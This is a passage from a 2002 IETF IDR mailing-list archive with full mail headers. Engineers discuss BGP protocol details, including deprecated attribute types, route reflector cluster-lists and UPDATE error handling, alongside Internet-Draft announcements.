jhaas@nexthop.com) Received: (from jhaas@localhost) by jhaas.nexthop.com (8.11.0/8.11.0) id g49DnWb24474; Thu, 9 May 2002 09:49:32 -0400 (EDT) Date: Thu, 9 May 2002 09:49:32 -0400 From: Jeffrey Haas To: Mareline Sheldon Cc: idr@merit.edu Subject: Re: Using deprecated Values in BGP Attribute types Message-ID: <20020509094932.A24468@nexthop.com> References: <20020509071453.92983.qmail@web20304.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20020509071453.92983.qmail@web20304.mail.yahoo.com>; from marelines@yahoo.com on Thu, May 09, 2002 at 12:14:53AM -0700 X-Virus-Scanned: by AMaViS perl-11 Sender: owner-idr@merit.edu Precedence: bulk Mareline, While those attributes are deprecated, they have well-defined meanings. Who knows who still has code in place to deal with them. Path Attribute number 255 has been set aside for experimental use by IANA. You can pack anything you want in there. Ideally, you should also make it non-transitive so other portions of the Internet don't have to deal with it. On Thu, May 09, 2002 at 12:14:53AM -0700, Mareline Sheldon wrote: > Hi All, > BGP4 Attributes type 11,12 and 13 are no longer used and have been deprectaed by the IETF. If > a new BGP Attribute type is now introduced will it always start from 17 (16 is Extended > Communities) leaving this void in between? > > Can i then use these 3 attribute kinds in my implementation for some propreitary work since i > know that my router is never going to see these attributes in any of the packets it recieves > from the external real world. > > Regards, > mareline s. -- Jeff Haas NextHop Technologies Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id DAA10804 for ; Thu, 9 May 2002 03:15:46 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id DE53E912C3; Thu, 9 May 2002 03:14:57 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id A77C4912C2; Thu, 9 May 2002 03:14:56 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 691F0912C2 for ; Thu, 9 May 2002 03:14:55 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 63A665DEB1; Thu, 9 May 2002 03:14:54 -0400 (EDT) Delivered-To: idr@merit.edu Received: from web20304.mail.yahoo.com (web20304.mail.yahoo.com [216.136.226.85]) by segue.merit.edu (Postfix) with SMTP id C079E5DDC5 for ; Thu, 9 May 2002 03:14:53 -0400 (EDT) Message-ID: <20020509071453.92983.qmail@web20304.mail.yahoo.com> Received: from [203.200.20.226] by web20304.mail.yahoo.com via HTTP; Thu, 09 May 2002 00:14:53 PDT Date: Thu, 9 May 2002 00:14:53 -0700 (PDT) From: Mareline Sheldon Subject: Using deprecated Values in BGP Attribute types To: idr@merit.edu MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-idr@merit.edu Precedence: bulk Hi All, BGP4 Attributes type 11,12 and 13 are no longer used and have been deprectaed by the IETF. If a new BGP Attribute type is now introduced will it always start from 17 (16 is Extended Communities) leaving this void in between? Can i then use these 3 attribute kinds in my implementation for some propreitary work since i know that my router is never going to see these attributes in any of the packets it recieves from the external real world. Regards, mareline s. __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Mother's Day is May 12th! http://shopping.yahoo.com Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id HAA10761 for ; Wed, 8 May 2002 07:28:45 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id BA271912A0; Wed, 8 May 2002 07:28:14 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 87D66912A1; Wed, 8 May 2002 07:28:14 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 7DD2F912A0 for ; Wed, 8 May 2002 07:28:13 -0400 (EDT) Received: by segue.merit.edu (Postfix) id BC09F5E041; Wed, 8 May 2002 07:28:12 -0400 (EDT) Delivered-To: idr@merit.edu Received: from ietf.org (odin.ietf.org [132.151.1.176]) by segue.merit.edu (Postfix) with ESMTP id 4C5305DFE6 for ; Wed, 8 May 2002 07:28:12 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA00898; Wed, 8 May 2002 07:28:04 -0400 (EDT) Message-Id: <200205081128.HAA00898@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: idr@merit.edu From: Internet-Drafts@ietf.org Reply-To: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-idr-cease-subcode-01.txt Date: Wed, 08 May 2002 07:28:04 -0400 Sender: owner-idr@merit.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Inter-Domain Routing Working Group of the IETF. Title : Subcodes for BGP Cease Notification Message Author(s) : E. Chen, V. Gillet Filename : draft-ietf-idr-cease-subcode-01.txt Pages : 4 Date : 07-May-02 This document defines several subcodes for the BGP Cease NOTIFICATION message that would provide more information to aid network operators in co-relating network events and diagnosing BGP peering issues. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-idr-cease-subcode-01.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-idr-cease-subcode-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-idr-cease-subcode-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020507124311.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-idr-cease-subcode-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-idr-cease-subcode-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020507124311.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id KAA09221 for ; Tue, 7 May 2002 10:18:49 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 5E7BC9121F; Tue, 7 May 2002 10:18:26 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id DFF6A91274; Tue, 7 May 2002 10:18:25 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id A2DCB91223 for ; Tue, 7 May 2002 10:17:55 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 0D9B15DE08; Tue, 7 May 2002 10:17:55 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id 774CB5DDA1 for ; Tue, 7 May 2002 10:17:54 -0400 (EDT) Received: from juniper.net (garnet.juniper.net [172.17.28.17]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g47EHsT98607 for ; Tue, 7 May 2002 07:17:54 -0700 (PDT) (envelope-from yakov@juniper.net) Message-Id: <200205071417.g47EHsT98607@merlot.juniper.net> To: idr@merit.edu Subject: draft-ietf-idr-bgp-ext-communities-04.txt MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <14639.1020781074.1@juniper.net> Date: Tue, 07 May 2002 07:17:54 -0700 From: Yakov Rekhter Sender: owner-idr@merit.edu Precedence: bulk Folks, The new version reflects the comments we received during the WG Last Call. Yakov. ------- Forwarded Message Date: Tue, 07 May 2002 07:35:17 -0400 From: Internet-Drafts@ietf.org To: IETF-Announce: ; cc: idr@merit.edu Subject: I-D ACTION:draft-ietf-idr-bgp-ext-communities-04.txt - --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Inter-Domain Routing Working Group of the IETF . Title : BGP Extended Communities Attribute Author(s) : S. Sangli, D. Tappan, Y. Rekhter Filename : draft-ietf-idr-bgp-ext-communities-04.txt Pages : 10 Date : 06-May-02 This document describes an extension to BGP [BGP-4] which may be used to provide flexible control over the distribution of routing information. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-idr-bgp-ext-communities-04.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-idr-bgp-ext-communities-04.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-idr-bgp-ext-communities-04.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. - --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" - --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020506144249.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-idr-bgp-ext-communities-04.txt - --OtherAccess Content-Type: Message/External-body; name="draft-ietf-idr-bgp-ext-communities-04.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020506144249.I-D@ietf.org> - --OtherAccess-- - --NextPart-- ------- End of Forwarded Message Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id JAA08446 for ; Tue, 7 May 2002 09:59:16 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id D912291279; Tue, 7 May 2002 09:58:32 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 73A7F91276; Tue, 7 May 2002 09:58:31 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 3666E91276 for ; Tue, 7 May 2002 09:58:29 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 885765DDEE; Tue, 7 May 2002 09:58:28 -0400 (EDT) Delivered-To: idr@merit.edu Received: from emerson.torrentnet.com (emerson.torrentnet.com [198.78.51.110]) by segue.merit.edu (Postfix) with ESMTP id 134BD5DDA1 for ; Tue, 7 May 2002 09:58:28 -0400 (EDT) Received: from imperial.torrentnet.com (imperial.torrentnet.com [198.78.51.109]) by emerson.torrentnet.com (8.11.2/8.11.2) with ESMTP id g47DwOB04069; Tue, 7 May 2002 09:58:24 -0400 (EDT) Received: from coors.torrentnet.com (coors.torrentnet.com [4.21.152.11]) by imperial.torrentnet.com (8.11.2/8.11.2) with ESMTP id g47DwOd51243; Tue, 7 May 2002 09:58:24 -0400 (EDT) Received: (from kaarthik@localhost) by coors.torrentnet.com (8.11.2/8.11.2) id g47DwOh00983; Tue, 7 May 2002 09:58:24 -0400 (EDT) X-Authentication-Warning: coors.torrentnet.com: kaarthik set sender to kaarthik@torrentnet.com using -f To: Manav Bhatia Cc: Jeffrey Haas , Pedro Roque Marques , Gargi Nalawade , Enke Chen , idr@merit.edu Subject: Re: Graceful restart comment References: <20020429195659.4509F15D3C1@popserv1.redback.com> <3CCDA914.92FE8548@cisco.com> <20020429162659.F21276@nexthop.com> <200204292058.g3TKw4r95825@roque-bsd.juniper.net> <20020429172231.G21276@nexthop.com> <010c01c1f574$b8d39510$b4036c6b@sisodomain.com> From: Kaarthik Sivakumar In-Reply-To: <010c01c1f574$b8d39510$b4036c6b@sisodomain.com> Date: 07 May 2002 09:58:23 -0400 Message-ID: <1ipu08ys8w.fsf@coors.torrentnet.com> Lines: 34 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Channel Islands) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-idr@merit.edu Precedence: bulk >>> "MB" == Manav Bhatia writes: MB> Hi All, MB> I am sorry for opening up this thread after so long but i am just back to MB> work and i read these mails today itself :-) Same here. Just read through the draft and found this. MB> | > I can't think of any scenario where it is reasonable to discard MB> | > packets from the neighbor while maintaining the session up... MB> Yes there are circumstances when an implementation will drop an update MB> while it doesn't kill the peering session. One such case is when a speaker MB> receives an update and finds its local CLUSTER_ID in the cluster-list. There is another case that I can think of. >From draft-ietf-idr-bgp4-17, Section 6.3 (UPDATE message error handling) ------------------------------------------------------------------------ [Regarding NEXT_HOP attribute] Semantic correctness applies only to the external BGP links, and only when the sender and the receiving speaker are one IP hop away from each other. To be semantically correct, the IP address in the NEXT_HOP must not be the IP address of the receiving speaker, and the NEXT_HOP IP address must either be the sender's IP address (used to establish the BGP session), or the interface associated with the NEXT_HOP IP address must share a common subnet with the receiving BGP speaker. If the NEXT_HOP attribute is semantically incorrect, the error should be logged, and the route should be ignored. In this ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ case, no NOTIFICATION message should be sent. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Kaarthik Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id HAA04667 for ; Tue, 7 May 2002 07:35:56 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 9661991214; Tue, 7 May 2002 07:35:33 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 5E39F91273; Tue, 7 May 2002 07:35:33 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 3170091214 for ; Tue, 7 May 2002 07:35:32 -0400 (EDT) Received: by segue.merit.edu (Postfix) id A3B1D5DDD0; Tue, 7 May 2002 07:35:31 -0400 (EDT) Delivered-To: idr@merit.edu Received: from ietf.org (odin.ietf.org [132.151.1.176]) by segue.merit.edu (Postfix) with ESMTP id 2EDCD5DDA1 for ; Tue, 7 May 2002 07:35:31 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA02801; Tue, 7 May 2002 07:35:19 -0400 (EDT) Message-Id: <200205071135.HAA02801@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: idr@merit.edu From: Internet-Drafts@ietf.org Reply-To: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-idr-bgp-ext-communities-04.txt Date: Tue, 07 May 2002 07:35:17 -0400 Sender: owner-idr@merit.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Inter-Domain Routing Working Group of the IETF. Title : BGP Extended Communities Attribute Author(s) : S. Sangli, D. Tappan, Y. Rekhter Filename : draft-ietf-idr-bgp-ext-communities-04.txt Pages : 10 Date : 06-May-02 This document describes an extension to BGP [BGP-4] which may be used to provide flexible control over the distribution of routing information. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-idr-bgp-ext-communities-04.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-idr-bgp-ext-communities-04.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-idr-bgp-ext-communities-04.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020506144249.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-idr-bgp-ext-communities-04.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-idr-bgp-ext-communities-04.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020506144249.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id GAA01978 for ; Tue, 7 May 2002 06:04:05 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 6D4949122D; Tue, 7 May 2002 06:02:00 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 3122391273; Tue, 7 May 2002 06:02:00 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id F05579122D for ; Tue, 7 May 2002 06:01:58 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 784165DDD8; Tue, 7 May 2002 06:01:58 -0400 (EDT) Delivered-To: idr@merit.edu Received: from ep_mailout1 (unknown [203.254.224.24]) by segue.merit.edu (Postfix) with ESMTP id 20A675DDA5 for ; Tue, 7 May 2002 06:01:58 -0400 (EDT) Received: from custom-daemon.mailout1.samsung.com by mailout1.samsung.com (iPlanet Messaging Server 5.1 (built Sep 5 2001)) id <0GVQ00401JT1PJ@mailout1.samsung.com> for idr@merit.edu; Tue, 07 May 2002 19:00:37 +0900 (KST) Received: from ep_mmp2 (localhost [127.0.0.1]) by mailout1.samsung.com (iPlanet Messaging Server 5.1 (built Sep 5 2001)) with ESMTP id <0GVQ004DYJT149@mailout1.samsung.com> for idr@merit.edu; Tue, 07 May 2002 19:00:37 +0900 (KST) Received: from Manav ([107.108.3.180]) by mmp2.samsung.com (iPlanet Messaging Server 5.1 (built Sep 5 2001)) with ESMTPA id <0GVQ0057KJSLOZ@mmp2.samsung.com> for idr@merit.edu; Tue, 07 May 2002 19:00:25 +0900 (KST) Date: Tue, 07 May 2002 15:30:08 +0530 From: Manav Bhatia Subject: Route Reflectors - Errata To: Manav Bhatia , andrewl@xix-w.bengi.exodus.net Cc: idr@merit.edu Reply-To: Manav Bhatia Message-id: <017801c1f5ad$fc02bdf0$b4036c6b@sisodomain.com> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Mailer: Microsoft Outlook Express 6.00.2600.0000 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT X-Priority: 3 X-MSMail-priority: Normal References: <20020507051226.62479.qmail@web20301.mail.yahoo.com> <005601c1f586$8505b0d0$b4036c6b@sisodomain.com> Sender: owner-idr@merit.edu Precedence: bulk | For the second part - Imo the RR should create a new cluster-list | prepending its CLUSTER_ID to mark the reflection path the route will pass! I did some checking up on the RR attributes .. RR should not create any new Route Reflection attributes. They are only added to the "reflected" routes & EBGP learned routes are not considered as "reflected" routes. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id BAA25462 for ; Tue, 7 May 2002 01:21:11 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 09AE99126E; Tue, 7 May 2002 01:20:46 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id CBC1A91271; Tue, 7 May 2002 01:20:45 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 50AA79126E for ; Tue, 7 May 2002 01:19:24 -0400 (EDT) Received: by segue.merit.edu (Postfix) id C73085DE8E; Tue, 7 May 2002 01:19:23 -0400 (EDT) Delivered-To: idr@merit.edu Received: from ep_mailout1 (unknown [203.254.224.24]) by segue.merit.edu (Postfix) with ESMTP id 6F7515DE8B for ; Tue, 7 May 2002 01:19:23 -0400 (EDT) Received: from custom-daemon.mailout1.samsung.com by mailout1.samsung.com (iPlanet Messaging Server 5.1 (built Sep 5 2001)) id <0GVQ007016Q6N4@mailout1.samsung.com> for idr@merit.edu; Tue, 07 May 2002 14:18:06 +0900 (KST) Received: from ep_mmp2 (localhost [127.0.0.1]) by mailout1.samsung.com (iPlanet Messaging Server 5.1 (built Sep 5 2001)) with ESMTP id <0GVQ0070M6Q6M3@mailout1.samsung.com> for idr@merit.edu; Tue, 07 May 2002 14:18:06 +0900 (KST) Received: from Manav ([107.108.3.180]) by mmp2.samsung.com (iPlanet Messaging Server 5.1 (built Sep 5 2001)) with ESMTPA id <0GVQ00M7G6PQ6J@mmp2.samsung.com> for idr@merit.edu; Tue, 07 May 2002 14:17:53 +0900 (KST) Date: Tue, 07 May 2002 10:47:40 +0530 From: Manav Bhatia Subject: Re: Route Reflectors To: Mareline Sheldon , andrewl@xix-w.bengi.exodus.net Cc: idr@merit.edu Reply-To: Manav Bhatia Message-id: <005601c1f586$8505b0d0$b4036c6b@sisodomain.com> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Mailer: Microsoft Outlook Express 6.00.2600.0000 Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT X-Priority: 3 X-MSMail-priority: Normal References: <20020507051226.62479.qmail@web20301.mail.yahoo.com> Sender: owner-idr@merit.edu Precedence: bulk Hi Mareline, Cluster-list is a non transitive BGP attribute and should never be carried out of your AS - so when the RR is advertising a route to an EBGP peer it should strip this field. This also makes sense because you don't want to expose your internal topology to your EBGP peers. For the second part - Imo the RR should create a new cluster-list prepending its CLUSTER_ID to mark the reflection path the route will pass! Regards, Manav ----- Original Message ----- From: "Mareline Sheldon" To: Cc: Sent: Tuesday, May 07, 2002 10:42 AM Subject: Re: Route Reflectors | Hi Andrew, | Does it mean that the RR should strip the cluster length field when advertising to its EBGP | peers? Moreover what happens when i receive a route from an EBGP peer and i need to advertise | it to my clients. Should the RR create a new cluster length field and prepend its cluster ID | before advertising? | | Regards, | mareline s. | | --- andrewl@xix-w.bengi.exodus.net wrote: | > Hi Marlene, | > | > The short answer is no, a RR server should not _reflect_ routes to | > it's eBGP peers. It should behave like any other EBGP peering router. | > The route set it sends to its EBGP peer might be the same as the one | > it sends to its clients, but it isn't really reflecting (no cluster id, | > etc.). | > | > Andrew | > | > On Mon, May 06, 2002 at 09:30:15PM -0700, Mareline Sheldon wrote: | > > Delivered-To: idr-outgoing@trapdoor.merit.edu | > > Delivered-To: idr@trapdoor.merit.edu | > > Delivered-To: idr@merit.edu | > > Date: Mon, 6 May 2002 21:30:15 -0700 (PDT) | > > From: Mareline Sheldon | > > Subject: Route Reflectors | > > To: idr@merit.edu | > > Precedence: bulk | > > X-OriginalArrivalTime: 07 May 2002 04:31:42.0984 (UTC) FILETIME=[16C6F080:01C1F580] | > > | > > Hi, | > > 2796 is clear on what a RR should do when it recieves a route from a client & a non client | > > IBGP peer. It does not specify what a RR should do when it recieves a route from an EBGP | > peer. | > > I suppose it should reflect it to its clients and non clients. Right? | > > | > > My question is that should an RR reflect routes it learns from clients/non clients to its | > EBGP | > > peers? | > > | > > Regards, | > > Mareline S. | > > | > > __________________________________________________ | > > Do You Yahoo!? | > > Yahoo! Health - your guide to health and wellness | > > http://health.yahoo.com | | | __________________________________________________ | Do You Yahoo!? | Yahoo! Health - your guide to health and wellness | http://health.yahoo.com Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id BAA25246 for ; Tue, 7 May 2002 01:13:08 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id DBCA69125B; Tue, 7 May 2002 01:12:28 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id AD97A9126D; Tue, 7 May 2002 01:12:28 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 9B6259125B for ; Tue, 7 May 2002 01:12:27 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 254F25DE8E; Tue, 7 May 2002 01:12:27 -0400 (EDT) Delivered-To: idr@merit.edu Received: from web20301.mail.yahoo.com (web20301.mail.yahoo.com [216.136.226.82]) by segue.merit.edu (Postfix) with SMTP id 89F485DE8B for ; Tue, 7 May 2002 01:12:26 -0400 (EDT) Message-ID: <20020507051226.62479.qmail@web20301.mail.yahoo.com> Received: from [203.200.20.226] by web20301.mail.yahoo.com via HTTP; Mon, 06 May 2002 22:12:26 PDT Date: Mon, 6 May 2002 22:12:26 -0700 (PDT) From: Mareline Sheldon Subject: Re: Route Reflectors To: andrewl@xix-w.bengi.exodus.net Cc: idr@merit.edu In-Reply-To: <20020506220441.B6936@demiurge.exodus.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-idr@merit.edu Precedence: bulk Hi Andrew, Does it mean that the RR should strip the cluster length field when advertising to its EBGP peers? Moreover what happens when i receive a route from an EBGP peer and i need to advertise it to my clients. Should the RR create a new cluster length field and prepend its cluster ID before advertising? Regards, mareline s. --- andrewl@xix-w.bengi.exodus.net wrote: > Hi Marlene, > > The short answer is no, a RR server should not _reflect_ routes to > it's eBGP peers. It should behave like any other EBGP peering router. > The route set it sends to its EBGP peer might be the same as the one > it sends to its clients, but it isn't really reflecting (no cluster id, > etc.). > > Andrew > > On Mon, May 06, 2002 at 09:30:15PM -0700, Mareline Sheldon wrote: > > Delivered-To: idr-outgoing@trapdoor.merit.edu > > Delivered-To: idr@trapdoor.merit.edu > > Delivered-To: idr@merit.edu > > Date: Mon, 6 May 2002 21:30:15 -0700 (PDT) > > From: Mareline Sheldon > > Subject: Route Reflectors > > To: idr@merit.edu > > Precedence: bulk > > X-OriginalArrivalTime: 07 May 2002 04:31:42.0984 (UTC) FILETIME=[16C6F080:01C1F580] > > > > Hi, > > 2796 is clear on what a RR should do when it recieves a route from a client & a non client > > IBGP peer. It does not specify what a RR should do when it recieves a route from an EBGP > peer. > > I suppose it should reflect it to its clients and non clients. Right? > > > > My question is that should an RR reflect routes it learns from clients/non clients to its > EBGP > > peers? > > > > Regards, > > Mareline S. > > > > __________________________________________________ > > Do You Yahoo!? > > Yahoo! Health - your guide to health and wellness > > http://health.yahoo.com __________________________________________________ Do You Yahoo!? Yahoo! Health - your guide to health and wellness http://health.yahoo.com Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id BAA25076 for ; Tue, 7 May 2002 01:07:51 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 44EFB91258; Tue, 7 May 2002 01:07:20 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 16EB49125B; Tue, 7 May 2002 01:07:20 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 374F091258 for ; Tue, 7 May 2002 01:07:19 -0400 (EDT) Received: by segue.merit.edu (Postfix) id B6F935DE8E; Tue, 7 May 2002 01:07:18 -0400 (EDT) Delivered-To: idr@merit.edu Received: from demiurge.exodus.net (unknown [216.32.171.82]) by segue.merit.edu (Postfix) with ESMTP id 5F1145DE8B for ; Tue, 7 May 2002 01:07:18 -0400 (EDT) 